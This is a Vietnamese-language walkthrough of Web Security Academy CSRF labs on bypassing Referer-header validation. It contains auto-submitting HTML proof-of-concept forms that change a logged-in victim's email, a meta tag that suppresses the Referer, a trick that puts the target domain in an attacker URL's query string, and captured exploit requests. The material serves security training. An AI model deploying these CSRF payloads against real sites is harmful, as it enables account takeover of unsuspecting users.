Header Referer là một optional header chứa URL của trang web có chứa liên kết với resource đang được request. Header này thường được thêm vào bởi trình duyệt khi người dùng gây ra HTTP request bằng cách nhấn vào liên kết hoặc submit form.
Có một vài phương pháp cho phép trang web chứa liên kết che giấu hoặc điều chỉnh giá trị của header Referer (vì các mục đích liên quan đến tính riêng tư).
Validation of Referer Depends on Header Being Present
Một vài trang web không kiểm tra header Referer nếu nó không tồn tại trong request. Trong trường hợp này, attacker có thể tạo ra CSRF exploit bằng cách khiến cho trình duyệt của nạn nhân bỏ đi header Referer trong request. Cách dễ nhất để làm điều này là dùng thẻ <meta>:
<meta name="referrer" content="never" />Lab: CSRF Where Referer Validation Depends on Header Being Present
Mục tiêu là thay đổi email của tài khoản wiener:peter.
PoC:
<html>
<meta name="referrer" content="never" />
<body>
<form
action="https://0a4600d703b95cfa81694de500450062.web-security-academy.net/my-account/change-email"
method="POST"
>
<input type="hidden" name="email" value="csrf@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/")
document.forms[0].submit()
</script>
</body>
</html>Validation of Referer Can Be Circumvented
Một vài ứng dụng xác thực header Referer theo một cách rất ngây thơ. Ví dụ, nếu ứng dụng chỉ kiểm tra xem domain trongReferer bắt đầu bằng một giá trị nào đó thì attacker có thể sử dụng giá trị đó như là subdomain của exploit server:
http://vulnerable-website.com.attacker-website.com/csrf-attack
Tương tự, nếu ứng dụng chỉ kiểm tra xem Referer có chứa domain của chính nó hay không thì attacker có thể đặt domain name ở bất cứ đâu trong URL:
http://attacker-website.com/csrf-attack?vulnerable-website.com
Note
Đa số các trình duyệt đã bỏ đi phần query string ở trong URL của header
Referer. Chúng ta có thể ghi đè hành vi này bằng cách đảm bảo rằng có headerReferrer-Policy: unsafe-urlở trong request có chứa exploit.
Lab: CSRF with Broken Referer Validation
PoC:
<html>
<body>
<form
action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email"
method="POST"
>
<input type="hidden" name="email" value="csrf@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/")
document.forms[0].submit()
</script>
</body>
</html>Request của exploit:
POST /my-account/change-email HTTP/2
Host: 0a6e00690327482a81873e35004a0012.web-security-academy.net
Cookie: session=1EztAXGXtQTjPi9et25hATefR05DjHb5
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
email=csrf%40normal-user.netResponse:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 24
"Invalid referer header"Thử thêm domain name của trang web mục tiêu vào query param của header Referer:
Referer: https://exploit-0af200f8033d48f081de3d3e01300036.exploit-server.net/?0a6e00690327482a81873e35004a0012.web-security-academy.netResponse trả về cho thấy ta đã thay đổi thành công email:
HTTP/2 302 Found
Location: /my-account?id=wiener
X-Frame-Options: SAMEORIGIN
Content-Length: 0Sửa lại PoC:
<html>
<body>
<form
action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email"
method="POST"
>
<input type="hidden" name="email" value="csrf@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?0a6e00690327482a81873e35004a0012.web-security-academy.net")
document.forms[0].submit()
</script>
</body>
</html>Info
Hàm
history.pushStatetương tự với việc gán giá trị chowindow.location.
Header Referer trong request gửi đi từ exploit server bị mất query param. Ta cần set header Referrer-Policy: unsafe-url bằng cách dùng thẻ <meta> với name là referrer và content là unsafe-URL như sau:
<html>
<meta name="referrer" content="unsafe-URL" />
<body>
<form
action="https://0a6e00690327482a81873e35004a0012.web-security-academy.net/my-account/change-email"
method="POST"
>
<input type="hidden" name="email" value="csrf@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?0a6e00690327482a81873e35004a0012.web-security-academy.net")
document.forms[0].submit()
</script>
</body>
</html>